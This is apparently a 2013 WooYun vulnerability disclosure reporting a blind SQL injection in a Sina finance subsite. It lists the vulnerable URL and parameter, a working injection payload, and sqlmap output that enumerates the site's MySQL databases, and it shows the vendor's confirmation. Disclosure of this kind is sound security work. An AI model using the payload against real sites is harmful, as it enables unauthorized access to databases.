当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-042776
漏洞标题：
新浪某分站SQL注入涉及大量数据
相关厂商：
新浪
漏洞作者：
xlz0iza1
提交时间：
2013-11-13 15:01
修复时间：
2013-12-28 15:01
公开时间：
2013-12-28 15:01
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-11-13： 细节已通知厂商并且等待厂商处理中
2013-11-13： 厂商已经确认，细节仅向厂商公开
2013-11-23： 细节向核心白帽子及相关领域专家公开
2013-12-03： 细节向普通白帽子公开
2013-12-13： 细节向实习白帽子公开
2013-12-28： 细节向公众公开

简要描述：

新浪某分站SQL注入涉及大量数据

详细说明：

#1：注入.
http://biz.finance.sina.com.cn/fund/fund_page/cmp_img_jz.php?fund_code=000011&ccode1=&ccode2=000001&putday=5&1335363286033

漏洞证明：

Place: GET
Parameter: fund_code
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: fund_code=000011') AND 1553=1553 AND ('XkVN'='XkVN&ccode1=&ccode2=0
00001&putday=5&1335363286033
---
[13:40:13] [INFO] testing MySQL
[13:40:15] [INFO] confirming MySQL
[13:40:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[13:40:20] [INFO] fetching database names
[13:40:20] [INFO] fetching number of databases
[13:40:20] [INFO] retrieved: 3
[13:40:41] [INFO] retrieved: in[13:41:44] [CRITICAL] connection timed out to the
 target url or proxy, sqlmap is going to retry the request
formation_schema
[13:44:01] [INFO] retrieved: fcdb
[13:44:17] [INFO] retrieved: test
available databases [3]:
[*] fcdb
[*] information_schema
[*] test
[13:44:32] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\biz.finance.sina.com.cn'


QQ图片20131113134610.jpg


QQ图片20131113135624.jpg


373几个表,网速不给力,跑得心疼.

修复方案：

你懂的,求礼物。

版权声明：转载请注明来源 xlz0iza1@乌云

>

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2013-11-13 15:14

厂商回复：

感谢关注新浪安全，马上安排相关人员修复

最新状态：

暂无